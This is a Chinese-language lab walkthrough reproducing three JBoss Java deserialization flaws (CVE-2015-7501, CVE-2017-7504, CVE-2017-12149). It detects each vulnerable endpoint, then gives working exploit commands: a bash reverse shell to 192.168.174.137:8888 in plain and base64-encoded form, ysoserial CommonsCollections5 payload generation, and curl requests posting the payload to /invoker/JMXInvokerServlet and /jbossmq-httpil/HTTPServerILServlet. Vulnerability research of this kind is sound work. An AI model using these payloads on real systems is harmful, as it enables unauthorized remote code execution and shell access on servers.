参考链接:

https://www.cnblogs.com/arrest/articles/17509983.html

https://paper.seebug.org/312/#6-java-apache-commonscollections-rce

https://blog.csdn.net/fuhanghang/article/details/104370187

https://blog.csdn.net/weixin_45605352/article/details/120305428

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501

漏洞描述

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

漏洞分析

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。

漏洞复现

漏洞验证,访问http://your-ip:8080/invoker/JMXInvokerServlet提示下载文件,则可能存在漏洞:

image-20240814162057558

Boss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程和 CVE-2017-12149很像。

反弹shell编码

bash -i >& /dev/tcp/192.168.174.137/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

生成序列化payload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > test.ser

image-20240814162616309

用curl以post请求传递payload

curl http://192.168.174.137:8080/invoker/JMXInvokerServlet --data-binary @test.ser --output 1

image-20240814162800650

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞分析

与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化。

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,若访问200,则可能存在漏洞。

漏洞复现

访问目标目录

image-20240814190102560

可以成功访问,同样的方法走一遍

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > test.ser
curl http://192.168.174.137:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @test.ser --output 1

image-20240814190554084

image-20240814190542255

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

漏洞分析

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。

访问/invoker/readonly, 如果出现报 500 错误,则说明目标机器可能存在此漏洞。

漏洞复现

访问http://192.168.174.137:8080/invoker/readonly,则可能存在漏洞:

image-20240814191944232

image-20240814192250579

一样的过程,就是路径不一样